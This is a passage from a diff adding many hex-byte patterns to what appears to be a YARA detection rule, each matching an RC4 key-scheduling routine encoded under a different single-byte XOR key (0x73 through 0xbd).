+        $rc4_ksa_xor_73 = { f8??b4??40??a1??84??06??67??f8??36??7f??7c??c5??77??71??70??75??70??b0??f8??aa??ea??84??88??f9??75??34??fb??36??8c??f8??a9??f8??e7??ee??8b??88??8c??8c??fa??65??f0??b5??77??7c??c5??26??8c??fe??f7??ee??8b??88??8c??8c??48??8a??fa??63??0f??b7??f0??16??67??73??f0??0e??63??73??05??18 }
+        $rc4_ksa_xor_74 = { ff??b3??47??a6??83??01??60??ff??31??78??7b??c2??70??76??77??72??77??b7??ff??ad??ed??83??8f??fe??72??33??fc??31??8b??ff??ae??ff??e0??e9??8c??8f??8b??8b??fd??62??f7??b2??70??7b??c2??21??8b??f9??f0??e9??8c??8f??8b??8b??4f??8d??fd??64??08??b0??f7??11??60??74??f7??09??64??74??02??1f }
+        $rc4_ksa_xor_75 = { fe??b2??46??a7??82??00??61??fe??30??79??7a??c3??71??77??76??73??76??b6??fe??ac??ec??82??8e??ff??73??32??fd??30??8a??fe??af??fe??e1??e8??8d??8e??8a??8a??fc??63??f6??b3??71??7a??c3??20??8a??f8??f1??e8??8d??8e??8a??8a??4e??8c??fc??65??09??b1??f6??10??61??75??f6??08??65??75??03??1e }
+        $rc4_ksa_xor_76 = { fd??b1??45??a4??81??03??62??fd??33??7a??79??c0??72??74??75??70??75??b5??fd??af??ef??81??8d??fc??70??31??fe??33??89??fd??ac??fd??e2??eb??8e??8d??89??89??ff??60??f5??b0??72??79??c0??23??89??fb??f2??eb??8e??8d??89??89??4d??8f??ff??66??0a??b2??f5??13??62??76??f5??0b??66??76??00??1d }
+        $rc4_ksa_xor_77 = { fc??b0??44??a5??80??02??63??fc??32??7b??78??c1??73??75??74??71??74??b4??fc??ae??ee??80??8c??fd??71??30??ff??32??88??fc??ad??fc??e3??ea??8f??8c??88??88??fe??61??f4??b1??73??78??c1??22??88??fa??f3??ea??8f??8c??88??88??4c??8e??fe??67??0b??b3??f4??12??63??77??f4??0a??67??77??01??1c }
+        $rc4_ksa_xor_78 = { f3??bf??4b??aa??8f??0d??6c??f3??3d??74??77??ce??7c??7a??7b??7e??7b??bb??f3??a1??e1??8f??83??f2??7e??3f??f0??3d??87??f3??a2??f3??ec??e5??80??83??87??87??f1??6e??fb??be??7c??77??ce??2d??87??f5??fc??e5??80??83??87??87??43??81??f1??68??04??bc??fb??1d??6c??78??fb??05??68??78??0e??13 }
+        $rc4_ksa_xor_79 = { f2??be??4a??ab??8e??0c??6d??f2??3c??75??76??cf??7d??7b??7a??7f??7a??ba??f2??a0??e0??8e??82??f3??7f??3e??f1??3c??86??f2??a3??f2??ed??e4??81??82??86??86??f0??6f??fa??bf??7d??76??cf??2c??86??f4??fd??e4??81??82??86??86??42??80??f0??69??05??bd??fa??1c??6d??79??fa??04??69??79??0f??12 }
+        $rc4_ksa_xor_7a = { f1??bd??49??a8??8d??0f??6e??f1??3f??76??75??cc??7e??78??79??7c??79??b9??f1??a3??e3??8d??81??f0??7c??3d??f2??3f??85??f1??a0??f1??ee??e7??82??81??85??85??f3??6c??f9??bc??7e??75??cc??2f??85??f7??fe??e7??82??81??85??85??41??83??f3??6a??06??be??f9??1f??6e??7a??f9??07??6a??7a??0c??11 }
+        $rc4_ksa_xor_7b = { f0??bc??48??a9??8c??0e??6f??f0??3e??77??74??cd??7f??79??78??7d??78??b8??f0??a2??e2??8c??80??f1??7d??3c??f3??3e??84??f0??a1??f0??ef??e6??83??80??84??84??f2??6d??f8??bd??7f??74??cd??2e??84??f6??ff??e6??83??80??84??84??40??82??f2??6b??07??bf??f8??1e??6f??7b??f8??06??6b??7b??0d??10 }
+        $rc4_ksa_xor_7c = { f7??bb??4f??ae??8b??09??68??f7??39??70??73??ca??78??7e??7f??7a??7f??bf??f7??a5??e5??8b??87??f6??7a??3b??f4??39??83??f7??a6??f7??e8??e1??84??87??83??83??f5??6a??ff??ba??78??73??ca??29??83??f1??f8??e1??84??87??83??83??47??85??f5??6c??00??b8??ff??19??68??7c??ff??01??6c??7c??0a??17 }
+        $rc4_ksa_xor_7d = { f6??ba??4e??af??8a??08??69??f6??38??71??72??cb??79??7f??7e??7b??7e??be??f6??a4??e4??8a??86??f7??7b??3a??f5??38??82??f6??a7??f6??e9??e0??85??86??82??82??f4??6b??fe??bb??79??72??cb??28??82??f0??f9??e0??85??86??82??82??46??84??f4??6d??01??b9??fe??18??69??7d??fe??00??6d??7d??0b??16 }
+        $rc4_ksa_xor_7e = { f5??b9??4d??ac??89??0b??6a??f5??3b??72??71??c8??7a??7c??7d??78??7d??bd??f5??a7??e7??89??85??f4??78??39??f6??3b??81??f5??a4??f5??ea??e3??86??85??81??81??f7??68??fd??b8??7a??71??c8??2b??81??f3??fa??e3??86??85??81??81??45??87??f7??6e??02??ba??fd??1b??6a??7e??fd??03??6e??7e??08??15 }
+        $rc4_ksa_xor_7f = { f4??b8??4c??ad??88??0a??6b??f4??3a??73??70??c9??7b??7d??7c??79??7c??bc??f4??a6??e6??88??84??f5??79??38??f7??3a??80??f4??a5??f4??eb??e2??87??84??80??80??f6??69??fc??b9??7b??70??c9??2a??80??f2??fb??e2??87??84??80??80??44??86??f6??6f??03??bb??fc??1a??6b??7f??fc??02??6f??7f??09??14 }
+        $rc4_ksa_xor_80 = { 0b??47??b3??52??77??f5??94??0b??c5??8c??8f??36??84??82??83??86??83??43??0b??59??19??77??7b??0a??86??c7??08??c5??7f??0b??5a??0b??14??1d??78??7b??7f??7f??09??96??03??46??84??8f??36??d5??7f??0d??04??1d??78??7b??7f??7f??bb??79??09??90??fc??44??03??e5??94??80??03??fd??90??80??f6??eb }
+        $rc4_ksa_xor_81 = { 0a??46??b2??53??76??f4??95??0a??c4??8d??8e??37??85??83??82??87??82??42??0a??58??18??76??7a??0b??87??c6??09??c4??7e??0a??5b??0a??15??1c??79??7a??7e??7e??08??97??02??47??85??8e??37??d4??7e??0c??05??1c??79??7a??7e??7e??ba??78??08??91??fd??45??02??e4??95??81??02??fc??91??81??f7??ea }
+        $rc4_ksa_xor_82 = { 09??45??b1??50??75??f7??96??09??c7??8e??8d??34??86??80??81??84??81??41??09??5b??1b??75??79??08??84??c5??0a??c7??7d??09??58??09??16??1f??7a??79??7d??7d??0b??94??01??44??86??8d??34??d7??7d??0f??06??1f??7a??79??7d??7d??b9??7b??0b??92??fe??46??01??e7??96??82??01??ff??92??82??f4??e9 }
+        $rc4_ksa_xor_83 = { 08??44??b0??51??74??f6??97??08??c6??8f??8c??35??87??81??80??85??80??40??08??5a??1a??74??78??09??85??c4??0b??c6??7c??08??59??08??17??1e??7b??78??7c??7c??0a??95??00??45??87??8c??35??d6??7c??0e??07??1e??7b??78??7c??7c??b8??7a??0a??93??ff??47??00??e6??97??83??00??fe??93??83??f5??e8 }
+        $rc4_ksa_xor_84 = { 0f??43??b7??56??73??f1??90??0f??c1??88??8b??32??80??86??87??82??87??47??0f??5d??1d??73??7f??0e??82??c3??0c??c1??7b??0f??5e??0f??10??19??7c??7f??7b??7b??0d??92??07??42??80??8b??32??d1??7b??09??00??19??7c??7f??7b??7b??bf??7d??0d??94??f8??40??07??e1??90??84??07??f9??94??84??f2??ef }
+        $rc4_ksa_xor_85 = { 0e??42??b6??57??72??f0??91??0e??c0??89??8a??33??81??87??86??83??86??46??0e??5c??1c??72??7e??0f??83??c2??0d??c0??7a??0e??5f??0e??11??18??7d??7e??7a??7a??0c??93??06??43??81??8a??33??d0??7a??08??01??18??7d??7e??7a??7a??be??7c??0c??95??f9??41??06??e0??91??85??06??f8??95??85??f3??ee }
+        $rc4_ksa_xor_86 = { 0d??41??b5??54??71??f3??92??0d??c3??8a??89??30??82??84??85??80??85??45??0d??5f??1f??71??7d??0c??80??c1??0e??c3??79??0d??5c??0d??12??1b??7e??7d??79??79??0f??90??05??40??82??89??30??d3??79??0b??02??1b??7e??7d??79??79??bd??7f??0f??96??fa??42??05??e3??92??86??05??fb??96??86??f0??ed }
+        $rc4_ksa_xor_87 = { 0c??40??b4??55??70??f2??93??0c??c2??8b??88??31??83??85??84??81??84??44??0c??5e??1e??70??7c??0d??81??c0??0f??c2??78??0c??5d??0c??13??1a??7f??7c??78??78??0e??91??04??41??83??88??31??d2??78??0a??03??1a??7f??7c??78??78??bc??7e??0e??97??fb??43??04??e2??93??87??04??fa??97??87??f1??ec }
+        $rc4_ksa_xor_88 = { 03??4f??bb??5a??7f??fd??9c??03??cd??84??87??3e??8c??8a??8b??8e??8b??4b??03??51??11??7f??73??02??8e??cf??00??cd??77??03??52??03??1c??15??70??73??77??77??01??9e??0b??4e??8c??87??3e??dd??77??05??0c??15??70??73??77??77??b3??71??01??98??f4??4c??0b??ed??9c??88??0b??f5??98??88??fe??e3 }
+        $rc4_ksa_xor_89 = { 02??4e??ba??5b??7e??fc??9d??02??cc??85??86??3f??8d??8b??8a??8f??8a??4a??02??50??10??7e??72??03??8f??ce??01??cc??76??02??53??02??1d??14??71??72??76??76??00??9f??0a??4f??8d??86??3f??dc??76??04??0d??14??71??72??76??76??b2??70??00??99??f5??4d??0a??ec??9d??89??0a??f4??99??89??ff??e2 }
+        $rc4_ksa_xor_8a = { 01??4d??b9??58??7d??ff??9e??01??cf??86??85??3c??8e??88??89??8c??89??49??01??53??13??7d??71??00??8c??cd??02??cf??75??01??50??01??1e??17??72??71??75??75??03??9c??09??4c??8e??85??3c??df??75??07??0e??17??72??71??75??75??b1??73??03??9a??f6??4e??09??ef??9e??8a??09??f7??9a??8a??fc??e1 }
+        $rc4_ksa_xor_8b = { 00??4c??b8??59??7c??fe??9f??00??ce??87??84??3d??8f??89??88??8d??88??48??00??52??12??7c??70??01??8d??cc??03??ce??74??00??51??00??1f??16??73??70??74??74??02??9d??08??4d??8f??84??3d??de??74??06??0f??16??73??70??74??74??b0??72??02??9b??f7??4f??08??ee??9f??8b??08??f6??9b??8b??fd??e0 }
+        $rc4_ksa_xor_8c = { 07??4b??bf??5e??7b??f9??98??07??c9??80??83??3a??88??8e??8f??8a??8f??4f??07??55??15??7b??77??06??8a??cb??04??c9??73??07??56??07??18??11??74??77??73??73??05??9a??0f??4a??88??83??3a??d9??73??01??08??11??74??77??73??73??b7??75??05??9c??f0??48??0f??e9??98??8c??0f??f1??9c??8c??fa??e7 }
+        $rc4_ksa_xor_8d = { 06??4a??be??5f??7a??f8??99??06??c8??81??82??3b??89??8f??8e??8b??8e??4e??06??54??14??7a??76??07??8b??ca??05??c8??72??06??57??06??19??10??75??76??72??72??04??9b??0e??4b??89??82??3b??d8??72??00??09??10??75??76??72??72??b6??74??04??9d??f1??49??0e??e8??99??8d??0e??f0??9d??8d??fb??e6 }
+        $rc4_ksa_xor_8e = { 05??49??bd??5c??79??fb??9a??05??cb??82??81??38??8a??8c??8d??88??8d??4d??05??57??17??79??75??04??88??c9??06??cb??71??05??54??05??1a??13??76??75??71??71??07??98??0d??48??8a??81??38??db??71??03??0a??13??76??75??71??71??b5??77??07??9e??f2??4a??0d??eb??9a??8e??0d??f3??9e??8e??f8??e5 }
+        $rc4_ksa_xor_8f = { 04??48??bc??5d??78??fa??9b??04??ca??83??80??39??8b??8d??8c??89??8c??4c??04??56??16??78??74??05??89??c8??07??ca??70??04??55??04??1b??12??77??74??70??70??06??99??0c??49??8b??80??39??da??70??02??0b??12??77??74??70??70??b4??76??06??9f??f3??4b??0c??ea??9b??8f??0c??f2??9f??8f??f9??e4 }
+        $rc4_ksa_xor_90 = { 1b??57??a3??42??67??e5??84??1b??d5??9c??9f??26??94??92??93??96??93??53??1b??49??09??67??6b??1a??96??d7??18??d5??6f??1b??4a??1b??04??0d??68??6b??6f??6f??19??86??13??56??94??9f??26??c5??6f??1d??14??0d??68??6b??6f??6f??ab??69??19??80??ec??54??13??f5??84??90??13??ed??80??90??e6??fb }
+        $rc4_ksa_xor_91 = { 1a??56??a2??43??66??e4??85??1a??d4??9d??9e??27??95??93??92??97??92??52??1a??48??08??66??6a??1b??97??d6??19??d4??6e??1a??4b??1a??05??0c??69??6a??6e??6e??18??87??12??57??95??9e??27??c4??6e??1c??15??0c??69??6a??6e??6e??aa??68??18??81??ed??55??12??f4??85??91??12??ec??81??91??e7??fa }
+        $rc4_ksa_xor_92 = { 19??55??a1??40??65??e7??86??19??d7??9e??9d??24??96??90??91??94??91??51??19??4b??0b??65??69??18??94??d5??1a??d7??6d??19??48??19??06??0f??6a??69??6d??6d??1b??84??11??54??96??9d??24??c7??6d??1f??16??0f??6a??69??6d??6d??a9??6b??1b??82??ee??56??11??f7??86??92??11??ef??82??92??e4??f9 }
+        $rc4_ksa_xor_93 = { 18??54??a0??41??64??e6??87??18??d6??9f??9c??25??97??91??90??95??90??50??18??4a??0a??64??68??19??95??d4??1b??d6??6c??18??49??18??07??0e??6b??68??6c??6c??1a??85??10??55??97??9c??25??c6??6c??1e??17??0e??6b??68??6c??6c??a8??6a??1a??83??ef??57??10??f6??87??93??10??ee??83??93??e5??f8 }
+        $rc4_ksa_xor_94 = { 1f??53??a7??46??63??e1??80??1f??d1??98??9b??22??90??96??97??92??97??57??1f??4d??0d??63??6f??1e??92??d3??1c??d1??6b??1f??4e??1f??00??09??6c??6f??6b??6b??1d??82??17??52??90??9b??22??c1??6b??19??10??09??6c??6f??6b??6b??af??6d??1d??84??e8??50??17??f1??80??94??17??e9??84??94??e2??ff }
+        $rc4_ksa_xor_95 = { 1e??52??a6??47??62??e0??81??1e??d0??99??9a??23??91??97??96??93??96??56??1e??4c??0c??62??6e??1f??93??d2??1d??d0??6a??1e??4f??1e??01??08??6d??6e??6a??6a??1c??83??16??53??91??9a??23??c0??6a??18??11??08??6d??6e??6a??6a??ae??6c??1c??85??e9??51??16??f0??81??95??16??e8??85??95??e3??fe }
+        $rc4_ksa_xor_96 = { 1d??51??a5??44??61??e3??82??1d??d3??9a??99??20??92??94??95??90??95??55??1d??4f??0f??61??6d??1c??90??d1??1e??d3??69??1d??4c??1d??02??0b??6e??6d??69??69??1f??80??15??50??92??99??20??c3??69??1b??12??0b??6e??6d??69??69??ad??6f??1f??86??ea??52??15??f3??82??96??15??eb??86??96??e0??fd }
+        $rc4_ksa_xor_97 = { 1c??50??a4??45??60??e2??83??1c??d2??9b??98??21??93??95??94??91??94??54??1c??4e??0e??60??6c??1d??91??d0??1f??d2??68??1c??4d??1c??03??0a??6f??6c??68??68??1e??81??14??51??93??98??21??c2??68??1a??13??0a??6f??6c??68??68??ac??6e??1e??87??eb??53??14??f2??83??97??14??ea??87??97??e1??fc }
+        $rc4_ksa_xor_98 = { 13??5f??ab??4a??6f??ed??8c??13??dd??94??97??2e??9c??9a??9b??9e??9b??5b??13??41??01??6f??63??12??9e??df??10??dd??67??13??42??13??0c??05??60??63??67??67??11??8e??1b??5e??9c??97??2e??cd??67??15??1c??05??60??63??67??67??a3??61??11??88??e4??5c??1b??fd??8c??98??1b??e5??88??98??ee??f3 }
+        $rc4_ksa_xor_99 = { 12??5e??aa??4b??6e??ec??8d??12??dc??95??96??2f??9d??9b??9a??9f??9a??5a??12??40??00??6e??62??13??9f??de??11??dc??66??12??43??12??0d??04??61??62??66??66??10??8f??1a??5f??9d??96??2f??cc??66??14??1d??04??61??62??66??66??a2??60??10??89??e5??5d??1a??fc??8d??99??1a??e4??89??99??ef??f2 }
+        $rc4_ksa_xor_9a = { 11??5d??a9??48??6d??ef??8e??11??df??96??95??2c??9e??98??99??9c??99??59??11??43??03??6d??61??10??9c??dd??12??df??65??11??40??11??0e??07??62??61??65??65??13??8c??19??5c??9e??95??2c??cf??65??17??1e??07??62??61??65??65??a1??63??13??8a??e6??5e??19??ff??8e??9a??19??e7??8a??9a??ec??f1 }
+        $rc4_ksa_xor_9b = { 10??5c??a8??49??6c??ee??8f??10??de??97??94??2d??9f??99??98??9d??98??58??10??42??02??6c??60??11??9d??dc??13??de??64??10??41??10??0f??06??63??60??64??64??12??8d??18??5d??9f??94??2d??ce??64??16??1f??06??63??60??64??64??a0??62??12??8b??e7??5f??18??fe??8f??9b??18??e6??8b??9b??ed??f0 }
+        $rc4_ksa_xor_9c = { 17??5b??af??4e??6b??e9??88??17??d9??90??93??2a??98??9e??9f??9a??9f??5f??17??45??05??6b??67??16??9a??db??14??d9??63??17??46??17??08??01??64??67??63??63??15??8a??1f??5a??98??93??2a??c9??63??11??18??01??64??67??63??63??a7??65??15??8c??e0??58??1f??f9??88??9c??1f??e1??8c??9c??ea??f7 }
+        $rc4_ksa_xor_9d = { 16??5a??ae??4f??6a??e8??89??16??d8??91??92??2b??99??9f??9e??9b??9e??5e??16??44??04??6a??66??17??9b??da??15??d8??62??16??47??16??09??00??65??66??62??62??14??8b??1e??5b??99??92??2b??c8??62??10??19??00??65??66??62??62??a6??64??14??8d??e1??59??1e??f8??89??9d??1e??e0??8d??9d??eb??f6 }
+        $rc4_ksa_xor_9e = { 15??59??ad??4c??69??eb??8a??15??db??92??91??28??9a??9c??9d??98??9d??5d??15??47??07??69??65??14??98??d9??16??db??61??15??44??15??0a??03??66??65??61??61??17??88??1d??58??9a??91??28??cb??61??13??1a??03??66??65??61??61??a5??67??17??8e??e2??5a??1d??fb??8a??9e??1d??e3??8e??9e??e8??f5 }
+        $rc4_ksa_xor_9f = { 14??58??ac??4d??68??ea??8b??14??da??93??90??29??9b??9d??9c??99??9c??5c??14??46??06??68??64??15??99??d8??17??da??60??14??45??14??0b??02??67??64??60??60??16??89??1c??59??9b??90??29??ca??60??12??1b??02??67??64??60??60??a4??66??16??8f??e3??5b??1c??fa??8b??9f??1c??e2??8f??9f??e9??f4 }
+        $rc4_ksa_xor_a0 = { 2b??67??93??72??57??d5??b4??2b??e5??ac??af??16??a4??a2??a3??a6??a3??63??2b??79??39??57??5b??2a??a6??e7??28??e5??5f??2b??7a??2b??34??3d??58??5b??5f??5f??29??b6??23??66??a4??af??16??f5??5f??2d??24??3d??58??5b??5f??5f??9b??59??29??b0??dc??64??23??c5??b4??a0??23??dd??b0??a0??d6??cb }
+        $rc4_ksa_xor_a1 = { 2a??66??92??73??56??d4??b5??2a??e4??ad??ae??17??a5??a3??a2??a7??a2??62??2a??78??38??56??5a??2b??a7??e6??29??e4??5e??2a??7b??2a??35??3c??59??5a??5e??5e??28??b7??22??67??a5??ae??17??f4??5e??2c??25??3c??59??5a??5e??5e??9a??58??28??b1??dd??65??22??c4??b5??a1??22??dc??b1??a1??d7??ca }
+        $rc4_ksa_xor_a2 = { 29??65??91??70??55??d7??b6??29??e7??ae??ad??14??a6??a0??a1??a4??a1??61??29??7b??3b??55??59??28??a4??e5??2a??e7??5d??29??78??29??36??3f??5a??59??5d??5d??2b??b4??21??64??a6??ad??14??f7??5d??2f??26??3f??5a??59??5d??5d??99??5b??2b??b2??de??66??21??c7??b6??a2??21??df??b2??a2??d4??c9 }
+        $rc4_ksa_xor_a3 = { 28??64??90??71??54??d6??b7??28??e6??af??ac??15??a7??a1??a0??a5??a0??60??28??7a??3a??54??58??29??a5??e4??2b??e6??5c??28??79??28??37??3e??5b??58??5c??5c??2a??b5??20??65??a7??ac??15??f6??5c??2e??27??3e??5b??58??5c??5c??98??5a??2a??b3??df??67??20??c6??b7??a3??20??de??b3??a3??d5??c8 }
+        $rc4_ksa_xor_a4 = { 2f??63??97??76??53??d1??b0??2f??e1??a8??ab??12??a0??a6??a7??a2??a7??67??2f??7d??3d??53??5f??2e??a2??e3??2c??e1??5b??2f??7e??2f??30??39??5c??5f??5b??5b??2d??b2??27??62??a0??ab??12??f1??5b??29??20??39??5c??5f??5b??5b??9f??5d??2d??b4??d8??60??27??c1??b0??a4??27??d9??b4??a4??d2??cf }
+        $rc4_ksa_xor_a5 = { 2e??62??96??77??52??d0??b1??2e??e0??a9??aa??13??a1??a7??a6??a3??a6??66??2e??7c??3c??52??5e??2f??a3??e2??2d??e0??5a??2e??7f??2e??31??38??5d??5e??5a??5a??2c??b3??26??63??a1??aa??13??f0??5a??28??21??38??5d??5e??5a??5a??9e??5c??2c??b5??d9??61??26??c0??b1??a5??26??d8??b5??a5??d3??ce }
+        $rc4_ksa_xor_a6 = { 2d??61??95??74??51??d3??b2??2d??e3??aa??a9??10??a2??a4??a5??a0??a5??65??2d??7f??3f??51??5d??2c??a0??e1??2e??e3??59??2d??7c??2d??32??3b??5e??5d??59??59??2f??b0??25??60??a2??a9??10??f3??59??2b??22??3b??5e??5d??59??59??9d??5f??2f??b6??da??62??25??c3??b2??a6??25??db??b6??a6??d0??cd }
+        $rc4_ksa_xor_a7 = { 2c??60??94??75??50??d2??b3??2c??e2??ab??a8??11??a3??a5??a4??a1??a4??64??2c??7e??3e??50??5c??2d??a1??e0??2f??e2??58??2c??7d??2c??33??3a??5f??5c??58??58??2e??b1??24??61??a3??a8??11??f2??58??2a??23??3a??5f??5c??58??58??9c??5e??2e??b7??db??63??24??c2??b3??a7??24??da??b7??a7??d1??cc }
+        $rc4_ksa_xor_a8 = { 23??6f??9b??7a??5f??dd??bc??23??ed??a4??a7??1e??ac??aa??ab??ae??ab??6b??23??71??31??5f??53??22??ae??ef??20??ed??57??23??72??23??3c??35??50??53??57??57??21??be??2b??6e??ac??a7??1e??fd??57??25??2c??35??50??53??57??57??93??51??21??b8??d4??6c??2b??cd??bc??a8??2b??d5??b8??a8??de??c3 }
+        $rc4_ksa_xor_a9 = { 22??6e??9a??7b??5e??dc??bd??22??ec??a5??a6??1f??ad??ab??aa??af??aa??6a??22??70??30??5e??52??23??af??ee??21??ec??56??22??73??22??3d??34??51??52??56??56??20??bf??2a??6f??ad??a6??1f??fc??56??24??2d??34??51??52??56??56??92??50??20??b9??d5??6d??2a??cc??bd??a9??2a??d4??b9??a9??df??c2 }
+        $rc4_ksa_xor_aa = { 21??6d??99??78??5d??df??be??21??ef??a6??a5??1c??ae??a8??a9??ac??a9??69??21??73??33??5d??51??20??ac??ed??22??ef??55??21??70??21??3e??37??52??51??55??55??23??bc??29??6c??ae??a5??1c??ff??55??27??2e??37??52??51??55??55??91??53??23??ba??d6??6e??29??cf??be??aa??29??d7??ba??aa??dc??c1 }
+        $rc4_ksa_xor_ab = { 20??6c??98??79??5c??de??bf??20??ee??a7??a4??1d??af??a9??a8??ad??a8??68??20??72??32??5c??50??21??ad??ec??23??ee??54??20??71??20??3f??36??53??50??54??54??22??bd??28??6d??af??a4??1d??fe??54??26??2f??36??53??50??54??54??90??52??22??bb??d7??6f??28??ce??bf??ab??28??d6??bb??ab??dd??c0 }
+        $rc4_ksa_xor_ac = { 27??6b??9f??7e??5b??d9??b8??27??e9??a0??a3??1a??a8??ae??af??aa??af??6f??27??75??35??5b??57??26??aa??eb??24??e9??53??27??76??27??38??31??54??57??53??53??25??ba??2f??6a??a8??a3??1a??f9??53??21??28??31??54??57??53??53??97??55??25??bc??d0??68??2f??c9??b8??ac??2f??d1??bc??ac??da??c7 }
+        $rc4_ksa_xor_ad = { 26??6a??9e??7f??5a??d8??b9??26??e8??a1??a2??1b??a9??af??ae??ab??ae??6e??26??74??34??5a??56??27??ab??ea??25??e8??52??26??77??26??39??30??55??56??52??52??24??bb??2e??6b??a9??a2??1b??f8??52??20??29??30??55??56??52??52??96??54??24??bd??d1??69??2e??c8??b9??ad??2e??d0??bd??ad??db??c6 }
+        $rc4_ksa_xor_ae = { 25??69??9d??7c??59??db??ba??25??eb??a2??a1??18??aa??ac??ad??a8??ad??6d??25??77??37??59??55??24??a8??e9??26??eb??51??25??74??25??3a??33??56??55??51??51??27??b8??2d??68??aa??a1??18??fb??51??23??2a??33??56??55??51??51??95??57??27??be??d2??6a??2d??cb??ba??ae??2d??d3??be??ae??d8??c5 }
+        $rc4_ksa_xor_af = { 24??68??9c??7d??58??da??bb??24??ea??a3??a0??19??ab??ad??ac??a9??ac??6c??24??76??36??58??54??25??a9??e8??27??ea??50??24??75??24??3b??32??57??54??50??50??26??b9??2c??69??ab??a0??19??fa??50??22??2b??32??57??54??50??50??94??56??26??bf??d3??6b??2c??ca??bb??af??2c??d2??bf??af??d9??c4 }
+        $rc4_ksa_xor_b0 = { 3b??77??83??62??47??c5??a4??3b??f5??bc??bf??06??b4??b2??b3??b6??b3??73??3b??69??29??47??4b??3a??b6??f7??38??f5??4f??3b??6a??3b??24??2d??48??4b??4f??4f??39??a6??33??76??b4??bf??06??e5??4f??3d??34??2d??48??4b??4f??4f??8b??49??39??a0??cc??74??33??d5??a4??b0??33??cd??a0??b0??c6??db }
+        $rc4_ksa_xor_b1 = { 3a??76??82??63??46??c4??a5??3a??f4??bd??be??07??b5??b3??b2??b7??b2??72??3a??68??28??46??4a??3b??b7??f6??39??f4??4e??3a??6b??3a??25??2c??49??4a??4e??4e??38??a7??32??77??b5??be??07??e4??4e??3c??35??2c??49??4a??4e??4e??8a??48??38??a1??cd??75??32??d4??a5??b1??32??cc??a1??b1??c7??da }
+        $rc4_ksa_xor_b2 = { 39??75??81??60??45??c7??a6??39??f7??be??bd??04??b6??b0??b1??b4??b1??71??39??6b??2b??45??49??38??b4??f5??3a??f7??4d??39??68??39??26??2f??4a??49??4d??4d??3b??a4??31??74??b6??bd??04??e7??4d??3f??36??2f??4a??49??4d??4d??89??4b??3b??a2??ce??76??31??d7??a6??b2??31??cf??a2??b2??c4??d9 }
+        $rc4_ksa_xor_b3 = { 38??74??80??61??44??c6??a7??38??f6??bf??bc??05??b7??b1??b0??b5??b0??70??38??6a??2a??44??48??39??b5??f4??3b??f6??4c??38??69??38??27??2e??4b??48??4c??4c??3a??a5??30??75??b7??bc??05??e6??4c??3e??37??2e??4b??48??4c??4c??88??4a??3a??a3??cf??77??30??d6??a7??b3??30??ce??a3??b3??c5??d8 }
+        $rc4_ksa_xor_b4 = { 3f??73??87??66??43??c1??a0??3f??f1??b8??bb??02??b0??b6??b7??b2??b7??77??3f??6d??2d??43??4f??3e??b2??f3??3c??f1??4b??3f??6e??3f??20??29??4c??4f??4b??4b??3d??a2??37??72??b0??bb??02??e1??4b??39??30??29??4c??4f??4b??4b??8f??4d??3d??a4??c8??70??37??d1??a0??b4??37??c9??a4??b4??c2??df }
+        $rc4_ksa_xor_b5 = { 3e??72??86??67??42??c0??a1??3e??f0??b9??ba??03??b1??b7??b6??b3??b6??76??3e??6c??2c??42??4e??3f??b3??f2??3d??f0??4a??3e??6f??3e??21??28??4d??4e??4a??4a??3c??a3??36??73??b1??ba??03??e0??4a??38??31??28??4d??4e??4a??4a??8e??4c??3c??a5??c9??71??36??d0??a1??b5??36??c8??a5??b5??c3??de }
+        $rc4_ksa_xor_b6 = { 3d??71??85??64??41??c3??a2??3d??f3??ba??b9??00??b2??b4??b5??b0??b5??75??3d??6f??2f??41??4d??3c??b0??f1??3e??f3??49??3d??6c??3d??22??2b??4e??4d??49??49??3f??a0??35??70??b2??b9??00??e3??49??3b??32??2b??4e??4d??49??49??8d??4f??3f??a6??ca??72??35??d3??a2??b6??35??cb??a6??b6??c0??dd }
+        $rc4_ksa_xor_b7 = { 3c??70??84??65??40??c2??a3??3c??f2??bb??b8??01??b3??b5??b4??b1??b4??74??3c??6e??2e??40??4c??3d??b1??f0??3f??f2??48??3c??6d??3c??23??2a??4f??4c??48??48??3e??a1??34??71??b3??b8??01??e2??48??3a??33??2a??4f??4c??48??48??8c??4e??3e??a7??cb??73??34??d2??a3??b7??34??ca??a7??b7??c1??dc }
+        $rc4_ksa_xor_b8 = { 33??7f??8b??6a??4f??cd??ac??33??fd??b4??b7??0e??bc??ba??bb??be??bb??7b??33??61??21??4f??43??32??be??ff??30??fd??47??33??62??33??2c??25??40??43??47??47??31??ae??3b??7e??bc??b7??0e??ed??47??35??3c??25??40??43??47??47??83??41??31??a8??c4??7c??3b??dd??ac??b8??3b??c5??a8??b8??ce??d3 }
+        $rc4_ksa_xor_b9 = { 32??7e??8a??6b??4e??cc??ad??32??fc??b5??b6??0f??bd??bb??ba??bf??ba??7a??32??60??20??4e??42??33??bf??fe??31??fc??46??32??63??32??2d??24??41??42??46??46??30??af??3a??7f??bd??b6??0f??ec??46??34??3d??24??41??42??46??46??82??40??30??a9??c5??7d??3a??dc??ad??b9??3a??c4??a9??b9??cf??d2 }
+        $rc4_ksa_xor_ba = { 31??7d??89??68??4d??cf??ae??31??ff??b6??b5??0c??be??b8??b9??bc??b9??79??31??63??23??4d??41??30??bc??fd??32??ff??45??31??60??31??2e??27??42??41??45??45??33??ac??39??7c??be??b5??0c??ef??45??37??3e??27??42??41??45??45??81??43??33??aa??c6??7e??39??df??ae??ba??39??c7??aa??ba??cc??d1 }
+        $rc4_ksa_xor_bb = { 30??7c??88??69??4c??ce??af??30??fe??b7??b4??0d??bf??b9??b8??bd??b8??78??30??62??22??4c??40??31??bd??fc??33??fe??44??30??61??30??2f??26??43??40??44??44??32??ad??38??7d??bf??b4??0d??ee??44??36??3f??26??43??40??44??44??80??42??32??ab??c7??7f??38??de??af??bb??38??c6??ab??bb??cd??d0 }
+        $rc4_ksa_xor_bc = { 37??7b??8f??6e??4b??c9??a8??37??f9??b0??b3??0a??b8??be??bf??ba??bf??7f??37??65??25??4b??47??36??ba??fb??34??f9??43??37??66??37??28??21??44??47??43??43??35??aa??3f??7a??b8??b3??0a??e9??43??31??38??21??44??47??43??43??87??45??35??ac??c0??78??3f??d9??a8??bc??3f??c1??ac??bc??ca??d7 }
+        $rc4_ksa_xor_bd = { 36??7a??8e??6f??4a??c8??a9??36??f8??b1??b2??0b??b9??bf??be??bb??be??7e??36??64??24??4a??46??37??bb??fa??35??f8??42??36??67??36??29??20??45??46??42??42??34??ab??3e??7b??b9??b2??0b??e8??42??30??39??20??45??46??42??42??86??44??34??ad??c1??79??3e??d8??a9??bd??3e??c0??ad??bd??cb??d6 }
